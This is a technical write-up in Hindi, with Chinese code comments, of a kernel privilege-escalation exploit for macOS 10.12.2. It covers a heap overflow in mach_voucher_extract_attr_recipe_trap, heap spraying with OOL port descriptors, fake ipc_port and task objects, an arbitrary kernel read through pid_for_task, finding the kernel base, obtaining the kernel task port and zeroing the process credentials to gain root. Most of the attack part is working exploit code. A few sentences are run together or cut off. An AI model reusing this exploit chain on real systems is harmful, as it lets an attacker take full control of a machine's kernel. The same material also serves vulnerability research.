
Mac 10.12.2 पर
इस बार privilege escalation के लिए mach_voucher_extract_attr_recipe_trap में मौजूद एक भेद्यता का उपयोग किया गया है, और शोषण विधि का मूल MACH_MSG_OOL_PORTS_DESCRIPTOR संदेश के माध्यम से है।
mach_msg ool के बारे में सीधे शब्दों में कहें तो, जब एक msg जिसमें ool descriptor होता है, भेजा जाता है, तो कर्नेल निर्दिष्ट डेटा को user space से kernel space में कॉपी करता है, और कर्नेल इस डेटा को तब तक बनाए रखता है जब तक लक्ष्य task संदेश को संसाधित नहीं कर लेता। इसी तरह, जब लक्ष्य प्रक्रिया एक ऐसा संदेश प्राप्त करती है जिसमें ool descriptor होता है, तो कर्नेल डेटा को kernel space से user space में कॉपी करता है (जरूरी नहीं कि वास्तविक कॉपी हो)। इसलिए इस तकनीकी बिंदु का उपयोग kernel heap में डेटा लिखने या कर्नेल से डेटा पढ़ने के लिए किया जा सकता है।
चूँकि इस भेद्यता का शोषण Trident की तुलना में कहीं अधिक जटिल है, इसलिए मैंने इसे चरण-दर-चरण धीरे-धीरे विश्लेषित किया है, भेद्यता के उत्पत्ति बिंदु से लेकर कदम-दर-कदम शोषण तक। कोड मेरे github पर देखा जा सकता है।
iOS 10 और macOS 10.12 में जोड़ी गई नई सुविधाओं में mach_voucher_extract_attr_recipe_trap नामक एक फ़ंक्शन है, जो एक Mach trap है जिसे sandbox के अंदर कॉल किया जा सकता है। इस फ़ंक्शन का स्रोत कोड नीचे दिया गया है:
kern_return_t
mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
{
ipc_voucher_t voucher = IV_NULL;
kern_return_t kr = KERN_SUCCESS;
mach_msg_type_number_t sz = 0;
//将recipe_size的地址拷贝到sz中,此时sz存放的就是kalloc_size的值了
if (copyin(args->recipe_size, (void *)&sz, sizeof(sz))) <---------- (a)
return KERN_MEMORY_ERROR;
if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
return MIG_ARRAY_TOO_LARGE;
voucher = convert_port_name_to_voucher(args->voucher_name);
if (voucher == IV_NULL)
return MACH_SEND_INVALID_DEST;
mach_msg_type_number_t __assert_only max_sz = sz;
if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
/* keep small recipes on the stack for speed */
uint8_t krecipe[sz];
if (copyin(args->recipe, (void *)krecipe, sz)) {
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
} else {
uint8_t *krecipe = kalloc((vm_size_t)sz); <---------- (b)
if (!krecipe) {
kr = KERN_RESOURCE_SHORTAGE;
goto done;
}
if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) { <----------- (c)
kfree(krecipe, (vm_size_t)sz);
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
kfree(krecipe, (vm_size_t)sz);
}
kr = copyout(&sz, args->recipe_size, sizeof(sz));
done:
ipc_voucher_release(voucher);
return kr;
}
args->recipe_size को sz में लिखा जाता है।sz का आकार MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) और MACH_VOUCHER_TRAP_STACK_LIMIT (256) के बीच है, तो sz के मान के अनुसार एक kernel heap बफर आवंटित किया जाता है।sz नहीं है जिसका उपयोग kernel heap आवंटित करने के लिए किया गया था, बल्कि एक user space पॉइंटर है, जिससे heap overflow उत्पन्न होता है। हम इसी बिंदु का उपयोग हमला करने के लिए करते हैं, और copyin फ़ंक्शन की एक विशेषता यह है कि unmap किए गए पृष्ठों का सामना करने पर कॉपी रुक जाती है। यह विशेषता हमारे poc में उपयोग की जाएगी:freelist randomisation के बाद हमें पता नहीं होता कि पुनः आवंटित मेमोरी ब्लॉक कहाँ स्थित है।सबसे पहले mach msg में MACH_MSG_OOL_PORTS_DESCRIPTOR के प्रसंस्करण को समझना आवश्यक है। जब कर्नेल को एक जटिल संदेश प्राप्त होता है और वह पाता है कि यह ports descriptor है, तो वह इसे (ipc_kmsg_copyin द्वारा कॉल किए गए) ipc_kmsg_copyin_ool_ports_descriptor फ़ंक्शन को सौंपता है, जो सभी port ऑब्जेक्ट्स को पढ़ता है। यह फ़ंक्शन आवश्यक मेमोरी आवंटित करने के लिए kalloc को कॉल करता है (64-बिट में आवंटित मेमोरी इनपुट का 2 गुना होती है, name की लंबाई 4 बाइट्स होती है), फिर वैध port के name को वास्तविक ipc_port ऑब्जेक्ट पते में बदलकर संग्रहीत करता है। इनपुट में MACH_PORT_NULL或者MACH_PORT_DEAD वाले name के लिए, इसे अपरिवर्तित रखा जाता है।
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) {
*mr = MACH_SEND_TOO_LARGE;
return NULL;
}
if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) {
*mr = MACH_SEND_TOO_LARGE;
return NULL;
}
if(ports_length == 0){
return user_desc;
}
data = kalloc(ports_length); // 分配空间
...
objects = (ipc_object_t *) data;
dsc->address = data;
for ( i = 0; i < count; i++) {
mach_port_name_t name = names[i];
ipc_object_t object;
if (!MACH_PORT_VALID(name)) {
objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue;
}
...
}
इसलिए हमला करते समय हम बड़ी मात्रा में MACH_PORT_DEAD भेजते हैं, मेमोरी क्षेत्र को 0xFFFFFFFFFFFFFFFF (MACH_PORT_DEAD) से भर देते हैं, फिर भेद्यता को ट्रिगर करके एक IPC_PORT_DEAD को हमलावर द्वारा व्यवस्थित मेमोरी क्षेत्र में बदल देते हैं। यदि इंगित किया गया क्षेत्र एक वैध ipc port संरचना है, तो OOL PORTS संदेश प्राप्त करने के बाद, user space में इस ipc_port के अनुरूप port name प्राप्त किया जा सकता है, और अगला हमला किया जा सकता है।
ipc_object ऑब्जेक्ट का निर्माणसबसे पहले हमें यह fake port प्राप्त हो चुका है। आगे जानकारी लीक (information leak) करने के लिए यह जानना आवश्यक है कि कर्नेल किन मापदंडों के आधार पर इसके साथ अलग-अलग व्यवहार करता है। पहले ipc_port की संरचना देखें:
struct ipc_port {
//ipc_object的指针就在前八个字节,是我们溢出攻击的对象
struct ipc_object ip_object; // port对象的类型 struct ipc_mqueue,ip_messages;
struct ipc_mqueue ip_messages; //消息队列
union {
struct ipc_space *receiver;
struct ipc_port *destination;
ipc_port_timestamp_t timestamp;
}data;
union {
ipc_importance_task_t imp_task;
ipc_kobject_t kobject; // port对应的内核对象
uintptr_t alias;
}kdata;
...
} __attribute__((__packed__));
इसमें एक port के अनुरूप kernel object होता है, और यह कि यह ipc_port किस प्रकार के kernel object के अनुरूप है, यह ipc_object के गुणों द्वारा निर्धारित होता है। इसलिए हम वास्तव में ipc_object को निर्मित (craft) कर रहे हैं।
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; //设置为IKOT_CLOCK对象,并处于激活状态
fakeport->io_lock_data[12] = 0x11; //设置port锁处于活动状态,防止死锁
कर्नेल इस ipc_port को IKOT_CLOCK ऑब्जेक्ट के साथ संचार के लिए उपयोग होने वाला port मान लेगा। अगला उद्देश्य kernel base address लीक करना है:
इस ipc_port को IKOT_CLOCK ऑब्जेक्ट के रूप में जाली (forge) बनाएँ, फिर इसके kdata.kobject पॉइंटर को एक kernel address पर सेट करें। हर बार इस kernel address को संशोधित करने के बाद, user space में clock_sleep_trap को कॉल करें। कर्नेल में port_name_to_clock इस kernel address को प्राप्त करेगा, और इसे clock पैरामीटर के रूप में clock_sleep_internal को पारित करेगा। स्रोत कोड निम्न है:
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
if (clock == CLOCK_NULL)
return (KERN_INVALID_ARGUMENT);
if (clock != &clock_list[SYSTEM_CLOCK])
return (KERN_FAILURE);
...
}
उपरोक्त कोड से देखा जा सकता है कि यदि clock का पता clock_list[SYSTEM_CLOCK] का पता नहीं है, तो KERN_FAILURE लौटाया जाता है, अन्यथा अन्य मान लौटाए जाते हैं। इसलिए हम लौटाए गए पैरामीटर के माध्यम से ट्रैवर्सल कर सकते हैं (बार-बार kobject का मान बदलते हुए), जब तक KERN_FAILURE न लौटे, तब तक हमें कर्नेल में clock_list[SYSTEM_CLOCK] का पता मिल जाएगा। और यह पता heap पर नहीं, बल्कि कर्नेल का एक वैश्विक चर है, जो एक विशिष्ट ऑफसेट पर स्थित होता है। अगला कदम इसी स्थान से आगे के प्रत्येक पृष्ठ के हेडर को पढ़ना है, जब तक MH_MAGIC_64, अर्थात 0xfeedfacf न मिल जाए।
extern struct clock_ops sysclk_ops, calend_ops;
struct clock clock_list[] = {
{&sysclk_ops, 0, 0},
{&calend_ops, 0, 0}
};
यह पता प्राप्त करने के बाद, हमें अपने ऑब्जेक्ट को task प्रकार में बदलना होगा, और kernel base address ढूंढना होगा, ताकि kslide की गणना की जा सके और आगे का tfp0 ऑपरेशन किया जा सके।
//将fake port的类型换成task,因为需要利用pid_for_task这个接口来进行任意地址读
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;
kobject का पता प्राप्त करके पृष्ठ की शुरुआत में जाएँ। Yalu102 और Zheng min के Poc में इस ऑपरेशन का क्रम अलग है, लेकिन इससे कोई फर्क नहीं पड़ता, क्योंकि faketask का पता भी इसी पृष्ठ पर होता है, इसलिए एक बार AND ऑपरेशन करने पर पृष्ठ का आरंभिक पता प्राप्त हो जाता है।
uint64_t leaked_ptr = *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;
फिर MH_MAGIC_64 खोजने के लिए एक infinite loop लिखें, और फिर हमारे tfp0 चरण को आगे बढ़ाएँ:
while (1) {
int leaked = 0;
*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
pid_for_task(foundport, &leaked);
if (leaked == MH_MAGIC_64) {
printf("found kernel text at 0x%llx\n", leaked_ptr);
break;
}
//往前一个页面
leaked_ptr -= 0x4000;
}
किसी भी पते को पढ़ना क्यों संभव है, इसका कारण यह है कि pid_for_task फ़ंक्शन का मान कोई जाँच नहीं करता, बस पारित पैरामीटर को पते में बदलकर कुछ जोड़-घटाव संचालन करता है:
kern_return_t pid_for_task(struct pid_for_task_args *args){
mach_port_t t = args->t;
...
t1 = port_name_to_task(t);
p = get_bsdtask_info(t1);
if(p){
pid = proc_id(p);
err = KERN_SUCCESS;
}
...
(void) copyout((char *)&pid, pid_addr, sizeof(int));
AUDIT_MACH_SYSCALL_EXIT(err);
return err;
}
//pid_for_task_args
struct pid_for_task_args{
PAD_ARG(mach_port_name_t t);
PAD_ARG(user_addr_r pid);
};
पूरी प्रक्रिया यह है: कर्नेल की प्रक्रिया लिंक्ड सूची (process list) ढूंढें, ट्रैवर्स करके अपनी प्रक्रिया का पता और pid0 का पता खोजें। फिर kernel process से kernel task का पता प्राप्त करें, और kernel task से itk_sself (kernel task's port) प्राप्त करें। फिर kernel task की जानकारी को हमारे जाली ipc port की जानकारी पर ओवरराइट करें, और fake port को जाली kernel task की ओर इंगित करें। kernel task के bootstrap port को वास्तविक kernel task के port पर सेट करें, फिर इंटरफ़ेस task_get_special_port के माध्यम से kernel task का port प्राप्त करें, जिससे arbitrary memory read/write संभव हो सके और अपनी proc की अनुमतियों को में बदल सकें।
uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
for (int i = 0; i < 0x1000/4; i++) {
kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}
for (int i = 0; i < 0x1000/4; i++) {
kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
//dump kernel task port
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;
//get kernel task
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);
fakeport->io_bits = 0;
uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;
printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));
//get root
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);
root